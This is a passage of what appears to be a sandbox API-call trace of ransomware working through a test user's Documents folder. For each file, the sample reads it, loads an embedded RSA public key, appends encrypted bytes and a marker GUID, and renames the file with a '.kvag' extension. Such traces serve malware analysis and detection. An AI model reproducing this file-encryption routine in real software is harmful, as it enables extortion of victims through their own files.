lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.240] CloseHandle (hObject=0x61c) returned 1 [0119.241] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8YZ957hMKqh_.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8yz957hmkqh_.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8YZ957hMKqh_.odp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8yz957hmkqh_.odp.kvag")) returned 1 [0119.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb284d0, ftCreationTime.dwHighDateTime=0x1d4f43f, ftLastAccessTime.dwLowDateTime=0xa2b29a00, ftLastAccessTime.dwHighDateTime=0x1d532de, ftLastWriteTime.dwLowDateTime=0xa2b29a00, ftLastWriteTime.dwHighDateTime=0x1d532de, nFileSizeHigh=0x0, nFileSizeLow=0xd6b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9xmij.pptx", cAlternateFileName="9XMIJ~1.PPT")) returned 1 [0119.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9xmij.pptx") returned=".pptx" [0119.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9xmij.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9xmij.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.243] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=54968) returned 1 [0119.243] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.245] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd692, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.245] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.246] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd6b8, lpOverlapped=0x0) returned 1 [0119.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.247] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.248] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.248] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.248] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.248] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.248] GetLastError () returned 0x0 [0119.248] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.248] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.248] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.248] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.248] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.249] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.249] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd6b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.249] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.249] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.249] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.249] CloseHandle (hObject=0x61c) returned 1 [0119.250] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9xmij.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9xmij.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9xmij.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9xmij.pptx.kvag")) returned 1 [0119.251] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc391c5d0, ftCreationTime.dwHighDateTime=0x1d4d4fa, ftLastAccessTime.dwLowDateTime=0x422d5d50, ftLastAccessTime.dwHighDateTime=0x1d4cd3f, ftLastWriteTime.dwLowDateTime=0x422d5d50, ftLastWriteTime.dwHighDateTime=0x1d4cd3f, nFileSizeHigh=0x0, nFileSizeLow=0x97ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A-wDiWAFo.ots", cAlternateFileName="A-WDIW~1.OTS")) returned 1 [0119.252] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-wDiWAFo.ots") returned=".ots" [0119.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-wDiWAFo.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-wdiwafo.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.253] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=38828) returned 1 [0119.253] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.255] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9786, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.255] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.256] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x97ac, lpOverlapped=0x0) returned 1 [0119.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.257] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.258] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.258] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.258] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.258] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.258] GetLastError () returned 0x0 [0119.258] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.258] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.258] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.258] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.258] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.259] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.259] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x97ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.259] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.259] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.259] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.259] CloseHandle (hObject=0x61c) returned 1 [0119.260] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-wDiWAFo.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-wdiwafo.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\A-wDiWAFo.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\a-wdiwafo.ots.kvag")) returned 1 [0119.261] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6353980, ftCreationTime.dwHighDateTime=0x1d4c938, ftLastAccessTime.dwLowDateTime=0x396ab7f0, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x396ab7f0, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x1039e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aPJJoH4o5A99cXyI.ods", cAlternateFileName="APJJOH~1.ODS")) returned 1 [0119.261] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aPJJoH4o5A99cXyI.ods") returned=".ods" [0119.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aPJJoH4o5A99cXyI.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjjoh4o5a99cxyi.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.262] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=66462) returned 1 [0119.262] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.264] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10378, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.264] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.265] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1039e, lpOverlapped=0x0) returned 1 [0119.266] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.266] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.266] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.266] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.267] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.267] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.267] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.267] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.267] GetLastError () returned 0x0 [0119.267] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.267] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.268] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.268] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.268] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.268] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.268] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1039e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.268] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.269] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.269] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.269] CloseHandle (hObject=0x61c) returned 1 [0119.273] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aPJJoH4o5A99cXyI.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjjoh4o5a99cxyi.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aPJJoH4o5A99cXyI.ods.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\apjjoh4o5a99cxyi.ods.kvag")) returned 1 [0119.274] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1c80ea0, ftCreationTime.dwHighDateTime=0x1d4ce58, ftLastAccessTime.dwLowDateTime=0x1e6a4d50, ftLastAccessTime.dwHighDateTime=0x1d4c60b, ftLastWriteTime.dwLowDateTime=0x1e6a4d50, ftLastWriteTime.dwHighDateTime=0x1d4c60b, nFileSizeHigh=0x0, nFileSizeLow=0x18a03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="applvCx 7 7q.pdf", cAlternateFileName="APPLVC~1.PDF")) returned 1 [0119.274] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\applvCx 7 7q.pdf") returned=".pdf" [0119.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\applvCx 7 7q.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\applvcx 7 7q.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.275] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=100867) returned 1 [0119.275] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.277] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x189dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.277] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.278] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x18a03, lpOverlapped=0x0) returned 1 [0119.279] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.279] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.279] lstrlenA (lpString="-----BEGIN PUBLIC 